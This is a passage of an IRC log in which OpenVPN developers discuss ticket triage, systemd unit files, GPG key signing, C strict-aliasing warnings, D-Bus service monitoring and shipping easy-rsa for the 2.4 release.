ecrist 15:59 <@cron2> there must be some sort of automatic "if Component = Certificates, then give to ecrist" 16:03 <@dazo> yeah, certificates have ecrist as the default owner 16:04 * dazo removes that 16:10 * cron2 is on a "no log, I don't care, close ticket" rampage 16:12 <@dazo> makes sense, at least if it's been lingering there for a while and we've asked for more data 16:12 <@cron2> 3 months or more... 16:12 <@cron2> like #697 16:13 < slypknot> close 'em with extreme prejdice ! 16:15 <@dazo> that is a good example for closing 16:17 * cron2 finds dazo should close #368 himself, referring to commit d09fbf958f 16:18 * dazo looks 16:19 * dazo closes 16:23 <@cron2> gone with the wind :) 16:24 * cron2 needs sleep now 16:24 <@dazo> g'night! 16:25 <@syzzer> good night :) 16:29 < slypknot> dazo: I finally got an entire vitual network rrunning with ovpn .. did you want me tot test any more unit settings ? it all going good so far 16:38 <@dazo> slypknot: did you do any mail reporting on your last tests? that's all I need for now, what you tested, how you tested and the result 16:39 <@dazo> slypknot: I got my deb8 box up'n'running today, and started to poke at things ... but far from done - and your test report will be helpful too, to see what needs to be checked further 16:55 < slypknot> dazo: RuntimeDir=openvpn-server does not like your --status option 16:55 <@dazo> I think --status needs to be updated as well, to %t/openvpn-server/status_%i.log (or whatever it is) 16:56 < slypknot> yep 16:56 < slypknot> testing :) 16:56 < slypknot> what does %T expand to ? 16:56 < slypknot> %t 16:57 <@dazo> the system's runtime directory .... usually /run or /var/run 16:57 < slypknot> ahh ok 16:57 < slypknot> so not the full runtimedir per instance .. sound like an overlooked opportunity ;) 16:58 <@dazo> :) 16:58 <@dazo> unfortunately :) 16:58 < slypknot> send a wish list to Mr Peotering 16:59 * slypknot chucles 16:59 < slypknot> i wonder if there %t%i works ? 16:59 < slypknot> or something like that 17:00 < slypknot> <-- man systemd.unit 17:04 < slypknot> that is really F* messy 17:05 <@dazo> there are three man pages useful for services ..... systemd.unit is the very generic overview, systemd.service which covers mostly the [service] section in the unit files, and systemd.exec which documents process execution 17:07 <@dazo> eeeek! 17:07 < slypknot> ? 17:07 * dazo need to run to catch a train before it's too late 17:07 < slypknot> go baby go ! 18:20 < slypknot> OMG ! Windows just got "The Trump Update" --- Day changed Thu Nov 10 2016 03:16 <@mattock> buildslaves fixed 03:16 <@mattock> debian-7-i386 had lost network 03:23 <@cron2> cool 03:23 <@mattock> ubuntu-1204-i386 was not set to start on boot, and that was possibly partly intentional 03:23 <@mattock> the VM I mean 03:23 <@mattock> but 12.04 support will extend to Apr 2017, so it makes sense to have it online for a while more 03:25 <@cron2> mmmh, cmocka does not like directry names with "=" in them 04:12 <@mattock> guys: if you close tickets at this pace, we will soon run out 04:12 <@mattock> so be careful :P 04:12 <@cron2> mattock: well, you know, I can open tickets at about the same pace if the rage gets me :-) 04:13 <@mattock> :) 04:13 <@cron2> (now, if we could get all the OpenVPN Connect related tickets out, we might indeed run into a shortage...) 04:13 <@mattock> I'm surprised if the "[PATCH] Replace WIN32 by _WIN32" does not break anything :P 04:13 <@mattock> yeah, James does not ever look at Trac 04:13 <@mattock> but we can easily send him an email with the correct query 04:14 <@cron2> mattock: well, I have tested *compilation* so far :-) - next, apply block-outside-dns v2 on top of that (which will have some conflicts, I assume) and then test taht 04:55 <@dazo> cron2: from #openvpn 04:55 <@dazo> <grawity> also, GnuPG 2.1 no longer accepts "PGP-2" keys, so tags signed by one Gert Doering cannot be verified ... 04:56 * cron2 needs to roll a new key, it seems :) 05:08 <@dazo> :) 05:10 <@dazo> maybe we should do an online signing party (should probably use a video chat to confirm visual identity) ... as we never got to do that at the hackathon 05:10 <@cron2> video chat for key signing party is an interesting idea 05:11 <@cron2> how do I tell git that I want "key id x" as default for signing? 05:11 <@dazo> in git? 05:11 <@cron2> for git tag -s 05:11 <@cron2> I've told gnupg, but git keeps using "the first key in the ring" :-/ 05:11 <@dazo> git config user.signingkey 05:11 <@dazo> you might want to add --global 05:12 <@cron2> 3072-bit RSA key, ID CA562812, created 2016-11-10 05:12 <@cron2> wors! 05:12 <@cron2> k 05:13 <@dazo> 4096bits was too much? ;-) 05:13 <@cron2> everybody does 4096... 05:13 <@dazo> :) 05:14 <@cron2> (how fortunate that the 2.3.13 tag came with a signature from you anyway) 05:15 <@dazo> regarding video chat .... mattock and I have had a few meetings with James and Francis using https://appear.in quite successfully .... no install needed, "just works" on modern browsers with webrtc support 05:15 <@vpnHelper> Title: appear.in – one click video conversations (at appear.in) 05:15 <@dazo> :) 05:15 <@cron2> I've been using hangout on android with good success 05:15 <@dazo> I'm trying to stay away from google services as much as possible :) 05:15 <@cron2> humm, this 86CF944C9671FDF2 key has mainly signatures from other identies of yourself 05:16 <@dazo> yeah, it's quite fresh 05:16 <@dazo> https://keybase.io/dsommers is one verification 05:16 <@vpnHelper> Title: David Sommerseth (dsommers) | Keybase (at keybase.io) 05:17 <@dazo> the openvpn key should be signed by that keybase.io identity 05:17 <@dazo> still have a few invites available, if interested 05:17 <@cron2> it might be, but that wasn't pushed to keys.gnupg.net 05:17 <@dazo> hmm 05:19 <@cron2> that is actually a different key than the one you used for signing v2.3.13 05:20 <@cron2> but it has no non-dazo signatures either 05:21 <@cron2> dazo is spinning us in a web of trust of dazo-signs-dazo-key 05:22 * cron2 has 5 dazo keys now 05:23 <@cron2> oh, and I actually signed 1024D/C0517EBA :) 05:23 <@dazo> I've set up completely new keys this year, and separated out private from openvpn.net addresses ... but haven't gotten much signatures 05:24 <@cron2> as a side note, we might want to have weekly meetings for the next few "hot" weeks 05:24 <@dazo> 1024D/C0517EBA that's revoked and should be replaced by 57DB9DAB613B8DA1 05:24 <@cron2> that I have, it has signatures from other Dazos 05:24 <@dazo> (my new keys are properly setup with sub-keys ... which makes signing a bit more challenging, but far safer if something goes astray) 05:25 <@cron2> we've noticed the challenges :) 05:25 <@dazo> heh 05:27 <@dazo> which signatures doe you see on 9802CA3D007ED288? 05:27 <@cron2> syzzer signing himself 05:27 <@dazo> and only that? 05:27 <@cron2> *refresh* 05:28 <@cron2> now I havesig DD9DB0A3 2014-12-18 [User ID not found] 05:28 <@cron2> sig 613B8DA1 2016-10-03 David Sommerseth (OpenVPN Technologies, Inc) 05:28 <@dazo> good! :) 05:29 <@cron2> (that key *could* use a few more signatures as well, or signatures from keys that are actually on keys.gnupg.net) 05:29 <@dazo> agreed ... we should really do a signing party :) 05:30 * dazo decides to spend one of his keybase.io invites on the openvpn.net address 05:46 <@dazo> https://keybase.io/dazo ... at least somewhat more proof of identity 05:46 <@vpnHelper> Title: David Sommerseth (OpenVPN) (dazo) | Keybase (at keybase.io) 06:05 <@dazo> I hope selva or d12fk can do a proper review of the WIN32 -> _WIN32 patch 06:37 <@cron2> oh, wow, James did actually build a new iOS client... wonder whether it's stuck in app store review or not submitted yet 07:29 <@mattock> ah, bayesian filter on Trac has started to behave quite nicely 07:29 <@mattock> less false positives, and support phone number stuff gets blocked easily 07:37 < slypknot> opensuse-42 does *not* come with man installed ! 07:38 <@cron2> mattock: cool 07:52 < slypknot> dazo: is systemd suppoed create RuntimeDirectory ? because opensuse refuses to do so .. if /run/openvpn-server is not created manually then the service fails .. the opposite of what the manual implies 08:08 <@dazo> slypknot: that sounds like an opensuse bug tbh 08:09 < slypknot> i was wondering if the install of openvpn would create the dir ? 08:12 < slypknot> no .. forget that .. your -server@. will not allow creation of runtimedir .. maybe something to do with your capabilities ? 08:16 <@dazo> slypknot: nah, on many distros /run might be a tmpfs mount ... so it would be empty after a reboot 08:18 < slypknot> it is on suse 08:19 < slypknot> other instances allow /run/openvpn but not /run/openvpn-server 08:19 < slypknot> maybe use _ not - 08:20 < slypknot> dazo: FYI, I have a server@. file which works for all (except suse) including reboot 08:34 < slypknot> dazo: from #opensuse "This RuntimeDirectory parameter requires systemd version 211 or newer." 08:34 < slypknot> current version is 210 08:35 <@dazo> ahh 08:36 <@dazo> which version of suse is it? 08:36 < slypknot> new release is schedule 16 nov 2016 08:37 < slypknot> old = 42.1 new = 42.2 08:37 < slypknot> so not long :) 08:37 <@dazo> huh? I thought openSuSE was more bleeding edge than that .... I mean, RHEL7 ships with 219! 08:38 < slypknot> 42.2 will have 228 08:40 < slypknot> I will post reply to the <L 08:40 < slypknot> ML 08:41 <@dazo> good, then that won't be a problem for the final 2.4 release 08:41 <@dazo> if it turns out to be, we can say: upgrade your distro! ;-) 09:10 <@dazo> d12fk: so all your struct argv patches have been reviewed now ... Any chances we can get a v2 ready for the beta release next week? (Nov 16) 09:20 <@cron2> I'd include 1/7 in 2.4 and all the rest in "master after 2.4" (which is, I think, what d12fk had been aiming for anyway) 10:09 <@dazo> If we get patches ready and reviewed for 2.4_beta1, I see no reason why to postpone ... but otherwise, I agree with just a partial inclusion. But I'm willing to consider more than just 1/7 too 10:11 <@dazo> Patches 1-3 is at least reasonable to consider, at patch 4 the refactoring really starts 10:14 <@cron2> ok with me 10:14 <@cron2> I'm a bit wary about major refactoring right before beta timeline. "moving around stuff" is fine, and "add tests" is very welcome :) 10:19 <@dazo> One of my openvpn server+client is already running one of the later git master versions (server side I use 2-3 days every every week for at least 5-6 hours each time, client side is running 24/7) and I plan to upgrade that one and another openvpn server (with at least 2 24/7 clients running) to beta1 and the coming releases as well 10:20 <@dazo> so even if we refactor, I'm not too worried currently ... those patches are quite good. And I'll add some --plugin and some more script hook tests as well once we get that far too 10:20 <@dazo> but I wouldn't add patch 4-7 after beta1 10:22 * dazo need to play with $kid now ... home alone this evening too 11:11 < slypknot> dazo: upgrade suse early to 42.2 and now the same unit file works on all my systemd distros ;) 13:44 < slypknot> I am getting a REMOVE PUSH ROUTE message that I have not seen before .. what causes it , I am not using push-reset ? 13:45 < slypknot> forget it .. conflict with --iroute 14:57 <@dazo> cron2: looking at your obsd fix for topology subnet ... is there a specific reason we #ifdef create_arbitrary_remote() ... the list begins to get quite big, and reasonable linkers will just ignore that function if it isn't used - so the end result will be the same 14:58 <@dazo> the code itself in that function is quite straight forward, so I would expect it to compile fine on the majority of platforms 14:59 <@dazo> (not sure about Windows, but at least the rest should be fine) 14:59 <@cron2> dazo: because that's good practice in our code, to not compile functions that we do not need 15:00 <@cron2> "reasonable linkers" on most platforms won't be able to remove that function - .o files are not split wrt code sections 15:00 <@dazo> well, yeah ... but I don't see the benefit, it's just more #ifdefs to beware of ... even though, with this small function it's not such a big deal 15:00 <@cron2> this is not a library where each function is in its own .o and can be linked or not-linked at will 15:01 <@cron2> these are platform #ifdefs - if they are missing, the corresponding platform won't compile (so these are very easy to get right in that regard) 15:02 <@cron2> I want to do a full rewrite of tun.c after 2.4 - this module is repeating the same code with minor variations again and again, there are better ways to do it 15:02 <@cron2> (same thing for the platform specific bits in route.c) 15:02 <@dazo> tun.c is just generally a nightmare when it comes to all those #ifdefs already, especially those functions with a few 100-lines of code or more 15:03 < Thermi> I totally agree. The function was difficult to understand. 15:03 <@dazo> alright, a proper cleanup of tun.c and route.c sounds like a good plan for post 2.4 15:03 < Thermi> s/function/file/ 15:03 <@cron2> I already have a trac ticket for that (the route.c part) :-) 15:04 <@cron2> stuff like the service pipe really shouldn't be #ifdef WIN32 either... 15:10 <@dazo> alright, I stand corrected ... the linker doesn't kick out create_arbitrary_remote() in this case .... #ifdef stays :) 15:14 <@dazo> hmmm ... when enabling the CFLAGS hardening from Fedora .... there's a lot of complaints like this: 15:14 <@dazo> mroute.h:199:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing] 15:14 <@dazo> return ntohl(*(in_addr_t*)addr->addr); 15:14 <@dazo> majority of issues are dereferencing type-punned pointer 15:15 <@cron2> that's the type-punned patch from syzzer, which I still do not fully understand what this is about 15:15 <@cron2> (haven't had time and brains to read up on this and run tests) 15:15 <@dazo> I did grasp it to some degree ... and have forgotten all about it again :-P 15:17 <@dazo> that patch from syzzer is truly targetting these issues 15:20 <@vpnHelper> RSS Update - tickets: #765: cleanup tun.c and route.c wrt operating system variants <https://community.openvpn.net/openvpn/ticket/765> 15:23 <@dazo> this blog post (suggested by syzzer) is truly enlightening http://blog.regehr.org/archives/959 15:23 <@vpnHelper> Title: Type Punning, Strict Aliasing, and Optimization Embedded in Academia (at blog.regehr.org) 15:24 <@syzzer> woohoo, sounds like my type-punning patch is getting some attention :D 15:25 <@dazo> hehe :) 15:25 <@dazo> syzzer: the more I read about, the more I see we do need to fix it ... so reading up on this issue now 15:26 <@dazo> it's important for us, as strict aliasing is a C99 requirement 15:26 <@syzzer> great, I think it boils down to 'if the compiler can detect that we are type-punning, this might result in undefined behaviour at some point' 15:26 <@dazo> http://blog.qt.io/blog/2011/06/10/type-punning-and-strict-aliasing/ 15:26 <@vpnHelper> Title: Type-punning and strict-aliasing - Qt Blog (at blog.qt.io) 15:26 <@dazo> syzzer: exactly ... gcc and clang does it differently, as well as Sun's C compiler it seems too 15:27 <@syzzer> and gives the amount of errors is my compile logs, compilers certainly detect it ;) 15:27 <@syzzer> *given 15:27 <@dazo> on a not so related note, I honestly wonder what those guys defining standards thinks (or smokes) when they agree upon "undefined behaviour" 15:28 <@syzzer> well, it gives the compiler room to optimize. the problem is, too many standard are written by compiler guys who are to fond about micro-optimizations :( 15:29 <@syzzer> so we end up with undefined behaviour in a number of totally ridiculous situations... 15:29 <@dazo> yeah ... well there's a fun one in the man page for va_arg() too .... https://twitter.com/DavidSommerseth/status/788787601243250688 15:30 <@syzzer> yeah, brilliant :') 15:37 <@cron2> well, this one is just factually describing what will happen :) 15:37 <@cron2> (like, openvpn.exe will crash :) ) 15:38 <@dazo> in best case it crashes, it worst case it uses a valid but unexpected value .... and in really worst case, it can extract the wrong IP address - which would be really fun to debug 15:39 <@cron2> in *that* case, I think the code is totally clear 15:39 <@cron2> and there is no undefinedness given that the pointer is used once, and then never again 15:40 <@cron2> (as this is about aliasing, which, as I understand, requires multiple pointers to the same area being used alternatively for writing, and code reordering can then change the result) 15:40 <@dazo> *(in_addr_t*)dest->addr = htonl (src); .... except that this is up to the compiler to decide how to interpret if you add -O{1,2,3} 15:40 <@cron2> there is nothing to interpret here 15:41 <@cron2> take this target address, and stuff 4 bytes in 15:42 <@dazo> that's what my human brain tell me too ... but when the compiler optimizer starts making things faster and more optimized, it might very well misinterpret the intention of the code ... which is what those warnings are telling us 15:48 <@cron2> *sigh* 15:49 <@cron2> the annoying part is that the resulting code using a memcpy() and an intermediate variable to stuff these 4 bytes in is actually harder to read AND less effective (unless the optimizer is really good)... 15:51 <@syzzer> yep, this a very annoying bit of the standard :( 15:52 <@syzzer> I do think the code will compile to the same instructions though 15:53 <@syzzer> I can't imaging a compiler not optimizing a memcpy(x, y, 4) or memcpy(x, y, 8) to a 32-bit or 64-bit mov (on x86) 15:54 <@dazo> exactly 15:54 <@dazo> most compilers know about memcpy() quite well these days, from what I've seen 15:55 <@syzzer> as long as the size argument is fixed, compilers will unleash all their optimizations 15:55 <@dazo> yupp 15:57 <@dazo> with all said, the current optimization on gcc-4.8.5 does produce the same assembly, with our without the memcpy() patch 15:59 <@dazo> same with clang-3.4.2 15:59 <@dazo> that is the mroute function being fixed 15:59 <@dazo> movb $2, 2(%rdi) 15:59 <@dazo> movb $0, 3(%rdi) 15:59 <@dazo> movb $4, (%rdi) 15:59 <@dazo> bswapl %esi 15:59 <@dazo> movl %esi, 4(%rdi) 15:59 <@dazo> all variants produce this 16:00 <@dazo> but the challenge with "undefined behaviour" is that it can change in a later compiler version 16:03 <@dazo> when it comes to the coding style, I personally find it easier to understand memcpy() over *(in_addr_t*)dest->addr = htonl(src) ... mostly because *(in_addr_t*) forces you to really grasp what this syntax is 16:11 <@cron2> well, mempcy() might make it more obvious that "memory is copied"... but *<something> = ... is also quite clear "a pointer is dereferenced, and memory is copied" 16:11 <@cron2> I find it confusing if what I really want is a variable assignment to wrap it in a memcpy(), even though the compiler will do the same thing "copy memory" underneath 16:12 <@cron2> I don't do memcpy(&a,b,sizeof(a)) if I can do a=b... 16:12 <@dazo> If it was just "a=b" ... but it is the dereferencing which is the core of the issue 16:13 <@cron2> is *a=b harder to read than memcpy(a,b,sizeof(*a))? 16:13 <@dazo> duh .... type-punning I meant, coupled with dereferencing 16:13 <@cron2> but I do understand that all this sockaddr and *addr* casting takes quite a bit of getting used to... it's an ugly API 16:14 <@dazo> that's my point actually 16:15 <@dazo> I've started to read more carefully this blog post: http://blog.llvm.org/2011/05/what-every-c-programmer-should-know.html ... and related blog posts (like http://blog.regehr.org/archives/213 ) 16:15 <@vpnHelper> Title: LLVM Project Blog: What Every C Programmer Should Know About Undefined Behavior #1/3 (at blog.llvm.org) 16:16 <@dazo> it's quite enlightening, even though not directly related to our use ... but the undefined behaviour can get quite ugly 16:16 <@syzzer> I do find this a really really weird part of the standard, but that doesn't help much. We should either follow the standard, or make sure we disable type punning for each compiler we support. 16:16 <@cron2> right 16:16 <@syzzer> I think following the standard, ugly as it may be, the easier option 16:18 <@dazo> +1 16:19 <@cron2> this is somewhat hard to argue with :) 16:20 <@cron2> dang, should have been in bed 45 minutes ago 16:20 * cron2 waves 16:24 <@dazo> "the C99 standard lists 191 different kinds of undefined behavior" .... 8-o 16:25 <@dazo> (from http://blog.regehr.org/archives/213 ) 16:25 <@vpnHelper> Title: A Guide to Undefined Behavior in C and C++, Part 1 Embedded in Academia (at blog.regehr.org) 16:53 * syzzer is heading to bed too - I'll see in the morning whether you decided to go with the patch or not (yet) ;) 21:40 <+krzee> maybe it should be C191 ;] 21:41 < danhunsaker> I suspect you accidentally a digit... --- Day changed Fri Nov 11 2016 03:03 <@d12fk> dazo: have been sick, reading up on the comments now 03:04 <@dazo> ouch, d12fk! Hope you're recovering well and quick! 03:04 <@cron2> mattock: meeting on monday? 03:05 * dazo agrees 03:06 <@dazo> we need some "tools" to help us stay on track for the 2.4 schedule 03:53 <@syzzer> yeah, let's do weekly meetings until 2.4 04:04 <@mattock> yep, monday will work 04:05 <@mattock> has someone setup an agenda page already? 04:05 * cron2 not 05:27 <@dazo> cron2: going to ack and push your obsd fix now .... just refreshing my git tree first 05:38 <@dazo> ehm ... I think a mail just misfired when I did a ctrl-c :/ 05:40 <@dazo> nope, git send-email just reacted strange .... *phew* 05:40 <@dazo> cron2: you should set a proper 'git config --global user.email' on your openbsd box 05:41 * dazo fixes Signed-off-by: email address 05:50 <@vpnHelper> RSS Update - gitrepo: Repair topology subnet on OpenBSD <https://github.com/OpenVPN/openvpn/commit/7f444dee52321c0f0294e99695150a7f69522715> 06:20 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-11-14 06:20 <@vpnHelper> Title: Topics-2016-11-14 – OpenVPN Community (at community.openvpn.net) 06:21 <@dazo> syzzer: finally progress on the strict aliasing! :) not applying yet though, due to more issues found in gcc 06:23 <@syzzer> dazo: oh, interesting 06:23 <@syzzer> what did you find? 06:24 <@dazo> see mail on ML :) 06:24 <@dazo> fhttp://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12997.html 06:24 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH] Don't deference type-punned pointers (at www.mail-archive.com) 06:25 <@dazo> I was quite surprised gcc was more picky than clang 06:28 <@cron2> whee! all buildbots green again! 06:28 <@dazo> :) 06:28 <@cron2> (well, nearly, but all *mine* and plaisthos' are) 06:32 < slypknot> cron2: how about tincan ? 06:33 <@dazo> slypknot: unless there's nothing in the mail pipe not reached my inbox, it looks good 06:33 <@cron2> slypknot: seems all well, at least, I have not seen any complaints yet (can't check the status page from here) 06:34 < slypknot> sounds good thank :) 06:34 < slypknot> s 06:42 <+krzee> syzzer: i think you'll like this one, https://blog.acolyer.org/2016/11/10/when-csi-meets-public-wifi-inferring-your-mobile-phone-password-via-wifi-signals/ 06:42 <@vpnHelper> Title: When CSI meets public wifi: Inferring your mobile phone password via wifi signals | the morning paper (at blog.acolyer.org) 06:43 <+krzee> sidechannel attacks on cellphone pin from rouge accesspoint 06:43 <+krzee> O.O 06:45 <@dazo> mattock: your monitoring tools on systemd boxes should probably be updated to monitor running services over D-Bus instead .... then the monitoring service should receive a D-Bus signal if a process run-state changes when it happens 06:46 <@syzzer> krzee: yes, that attack is awesome! 06:46 <@syzzer> terrifying, but awesome :p 06:47 <@dazo> I need at new phone where I can enable 2FA with a Yubikey Neo NFC OTP code :/ 06:47 <@dazo> doesn't cover all PIN code entries though :/ 06:49 <@dazo> The need for FIDO U2F on mobile devices is getting more and more needed though 06:59 <@syzzer> dazo: I'll update the patch with the other occurences 07:00 <@dazo> syzzer: thx! 07:01 <@dazo> there's a bunch of other warnings as well, I'll have a look at them 07:04 * dazo ponders if we should have a buildbot doing compiles with clang as well, and have some of the Linux boxes with at least -O2 in CFLAGS 07:06 <@cron2> the macosx box is clang, the freebsd10 box should be clang, and I think everything should do -O2 :) 07:07 <@cron2> fbsd100.ov$ cc -v 07:07 <@cron2> FreeBSD clang version 3.4.1 (tags/RELEASE_34/dot1-final 208032) 20140512 07:07 <@cron2> indeed 07:07 <@cron2> dazo: "that was easy" :) 07:22 <@dazo> hehe ... I wasn't aware of that :) Well, that's great news though! 07:23 <@dazo> but if we do -O2 ... we're not nagged enough when it comes to compiler warnings 07:27 <@dazo> I'm going to ignore this warning for now .... it seems to only be Linux not using this variable. 07:27 <@dazo> route.c:1939:15: warning: variable ‘gateway’ set but not used [-Wunused-but-set-variable] 07:38 * dazo heads for some lunch before targeting -Wpointer-sign warnings 07:40 <@dazo> d12fk: ^^^ seems most of these -Wpointer-sign issues are in ntlm.c .... have I just dreamt it, or was someone from Sophos supposed to submit some updates to the ntlm code? 07:43 <@ecrist> cron2: I haven't had a chance to look at your 8.4 bug yet, but I will try this weekend. 07:43 <@ecrist> sorry for the delay 08:06 <@cron2> dazo: reators 09:07 <@mattock> dazo: monitoring via D-Bus would probably make sense, but at least older versions of monit assume that a pidfile exists 09:08 <@mattock> when monitoring processes 09:08 <@mattock> of course, monit can run arbitrary scripts to check if all is in order, but that is more of a hassle than just monitoring a pidfile 09:08 <@mattock> so getting the data using a script that checks systemd status is also doable 09:23 <@dazo> mattock: a quick gdbus hack querying systemd ... gdbus call -y -d org.freedesktop.systemd1 -o $UNIT_DBUS_PATH -m org.freedesktop.DBus.Properties.Get org.freedesktop.systemd1.Unit ActiveState 09:24 <@dazo> to find the $UNIT_DBUS_PATH can be a bit trickier 09:24 <@mattock> so is D-Bus the standard way of querying systemd service status? 09:24 <@dazo> But this will list all object paths: gdbus introspect --system -r -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1/unit | grep "node " 09:24 <@dazo> mattock: whenever you do systemctl .... that is a D-Bus call 09:25 <@dazo> systemctl just puts a friendlier user interface on top of D-Bus ... but you can write your own systemdctl from scratch if you want to 09:26 <@dazo> and it would work perfectly well in regards to manage services managed by the systemd/pid 1 09:26 <@mattock> ah, ic 09:27 <@dazo> it's also not hard to rewrite that 'gdbus' call into a Python code ... using the python-dbus API ... 09:31 <@dazo> uhh!?! .... Just noticed that virtual machines started via libvirtd (virsh/virt-manager) appears in systemctl list-units 09:37 <@mattock> ah, d-bus/systemd has entangled the whole system 09:37 <@mattock> :P 09:37 <@dazo> hehehe :) 09:38 <@dazo> The more I work with D-Bus, the more I like it, despite its quite verbose API. And the biggest benefit I see is that it allows you to interact to a service on the D-Bus via which ever programming/scripting language of your preference 10:05 <@vpnHelper> RSS Update - tickets: #766: GUI says no TAP-Win adapters; log not saved; subsequently connects OK <https://community.openvpn.net/openvpn/ticket/766> 10:17 <@dazo> Good post on open source and contribution ... http://www.snarky.ca/why-i-took-october-off-from-oss-volunteering 11:22 < slypknot> very informative, esp. for people like we, who are still learning the real efforts being made by many unsung heros all over the World ! 11:29 <@dazo> ecrist: mattock: Should we aim for shipping easy-rsa-3 in OpenVPN 2.4? 11:30 <@mattock> I think so yes 11:31 <@mattock> it should be thoroughly tested on Windows before doing that, though 11:31 <@mattock> which made me remember that the new apt repos don't have easy-rsa at all 11:32 <@mattock> so the debian packages should be updated also to easy-rsa3 11:39 <@dazo> mattock: does easy-rsa-3 actually support windows? 11:39 * dazo believes it requires /bin/sh 11:40 <@dazo> mattock: for Windows CA management, it might make more sense to point people towards XCA instead 11:41 <@mattock> dazo: I don't know about easyrsa3 + windows - could be that it is only .sh 11:41 <@dazo> mattock: we should just ship a verified and vetted OpenVPN template database for XCA 11:41 <@dazo> https://github.com/OpenVPN/easy-rsa/blob/master/easyrsa3/easyrsa 11:41 <@vpnHelper> Title: easy-rsa/easyrsa at master · OpenVPN/easy-rsa · GitHub (at github.com) 11:41 <@dazo> looks so to me 11:41 <@mattock> I would be fine with that, but I don't manage CAs on Windows anyways 11:41 <@mattock> we could bring that up on openvpn-users/devel 11:42 <@dazo> https://github.com/OpenVPN/easy-rsa/blob/master/distro/windows/README-Windows.txt 11:42 <@vpnHelper> Title: easy-rsa/README-Windows.txt at master · OpenVPN/easy-rsa · GitHub (at github.com) 11:42 <@mattock> either keep on bundling easy-rsa 2, or bundle the xca profile, or both 11:43 <@dazo> oh, we should let easy-rsa 2 die .... I think it makes more sense with XCA, as that's graphical and I think that will please most Windows users more 11:43 <@mattock> the process for using easy-rsa 3 on Windows seems slightly painful 11:43 <@mattock> and will bring us its own share of new bugs :D 11:43 <@mattock> anyways, I got to split now 11:43 <@dazo> have a good weekend! 11:44 <@mattock> you too! 11:59 < slypknot> easy-rsa 3 on windows is fine so long as you download the right version .. 12:08 < slypknot> https://github.com/OpenVPN/easy-rsa/releases/tag/v3.0.0-rc2 12:08 <@vpnHelper> Title: Release v3.0.0-rc2 · OpenVPN/easy-rsa · GitHub (at github.com) 12:15 <@dazo> ahh, cool .... didn't know that ... but what about the dependencies to get a sh.exe? 12:15 <@dazo> is there an installer? or they have to do some additional installs? 12:46 < slypknot> that link has the necessay binaries 12:46 < slypknot> but *only* that link .. 12:46 < slypknot> don't know why 12:47 < slypknot> ecrist: over to you 12:49 < slypknot> dazo: there is some history but i expect it falls into the * it catagory ;) 16:09 <@cron2> dazo: the snarky.ca article is quite good, yes 16:10 * cron2 takes the opportunity to thanks all contributors for their time :-) 16:16 < danhunsaker> Added it to my GitHub profile, because that's essentially my take on it all, too. --- Day changed Sat Nov 12 2016 05:37 <@syzzer> dazo: reators has a patch that actually fixes bugs in ntlmv2 05:38 <@syzzer> I have a follow-up patch that fixes the type mess in there 05:38 <@syzzer> but I had some review comments on reators' patch, and nobody has a test setup to test the v2 of that patch... 06:21 <@syzzer> dazo: hm, these extra type punning occurrences you mentioned are dragging my into a refactoring bath tub... p 06:22 <@syzzer> but all will be better afterwards! 08:49 <@cron2> a refactoring *bath tub*... that sounds scary 08:49 <@cron2> but NOW is the time :) 09:19 <@vpnHelper> RSS Update - gitrepo: console: Fix compiler warning <https://github.com/OpenVPN/openvpn/commit/14cb1639f7694cdd461bace5e273acd7722cd3cf> 11:15 <@syzzer> cron2: I think you know this one http://pandawhale.com/post/10513/code-refactoring-cat-in-bathtub-gif 11:15 <@vpnHelper> Title: Code Refactoring Cat in Bathtub gif - PandaWhale (at pandawhale.com) 11:33 <@syzzer> the good part is that I can probably get rid of the memcpy()s :) 11:56 <@cron2> heh, yes :-) (the pic). And wooh! (the memcpy) 12:19 <@syzzer> cron2: looking at mroute_addr_mask_host_bits(), is it on purpose that for IPv4 the port (if MR_WITH_PORT is set) is *not* masked, while for IPv6 it *is* masked? 12:21 <@syzzer> (I have to leave now, cook dinner and then out for a birthday party. So I will not respond before tomorrow.) 12:23 <@cron2> syzzer: uh. Oversight? I'm not sure I actually added that, there have been fragments of IPv6 in mroute* before I started... 12:23 <@cron2> If I did it, I had no idea what I was doing... 20:20 <@vpnHelper> RSS Update - tickets: #767: Permission denied for ccd file with downgrade user optopn <https://community.openvpn.net/openvpn/ticket/767> --- Day changed Sun Nov 13 2016 02:43 <@syzzer> cron2: looks like the MR_WITH_PORT was not yet supported for IPv6 when this code was included 02:44 <@syzzer> I guess this is supposed to only mask the address, not the port? 02:44 * cron2 has slept over it, and "WITH_PORT" sounds like something the firewalling would use 02:44 <@cron2> (which does not do v6 yet) 02:45 <@syzzer> ah, that could explain 02:45 <@syzzer> I was wondering why there was a port in there 02:48 <@cron2> syzzer: your comment confuses me, though 02:49 <@cron2> my copy of mroute_addr_mask_host_bits() doesn't look at MR_WITH_PORT 02:49 <@syzzer> no, it uses ->len, which depends on whether use_port=true (ie MR_WITH_PORT is set) 02:51 <@syzzer> oh, but then it won't even zero enough bytes is use_port=true 02:52 <@cron2> I'm not sure these two ever coexist 02:52 <@cron2> that is, mroute_addr_mask_host_bits() being applied to something that came out of mroute_extract_openvpn_sockaddr() 02:52 <@syzzer> mroute_extract_openvpn_sockaddr() seems to think so... 02:52 <@cron2> because the latter case will always produce "addr->netbits=0" 02:52 <@cron2> mmmh? 02:53 <@syzzer> ah, ok there will be no zeroing you mean? 02:53 <@syzzer> I was saying 'mroute_extract_openvpn_sockaddr() seems to use IPv6 + MR_WITH_PORT' 02:53 <@cron2> I think there's two different cases where this data structure is used - one is "to store the peer address" (multi/float stuff), where "MR_WITH_PORT" is used 02:54 <@cron2> and then there is "for routing", where mroute_addr_mask_host_bits() gets used on something which falls out of --iroute 02:54 <@cron2> (or pool) 02:54 <@cron2> but this is just a suspicion :-) - based on: if mroute_extract_openvpn_sockaddr() is called, it will set addr->netbits=0, for v4 and v6 02:55 <@cron2> if you stuff that into mroute_addr_mask_host_bits(), the result will never be masked in any way 02:55 <@syzzer> hmmm 02:55 <@syzzer> if that's true, the bug is at least not exposed :) 02:56 <@cron2> or, more specific :-) - netbits_to_netmask(0) will return "0", so everything in v4 would be masked to 0 02:57 <@cron2> but indeed, we might want to check that ma->len is not > 16 02:58 <@cron2> if(byte>15) byte=15; /* ignore port if MR_WITH_PORT */ 02:58 <@syzzer> hm, but now I'm confused :p 02:58 <@cron2> hehe :) 02:58 <@syzzer> multi_learn_in6_addr() does set ->netbits, and 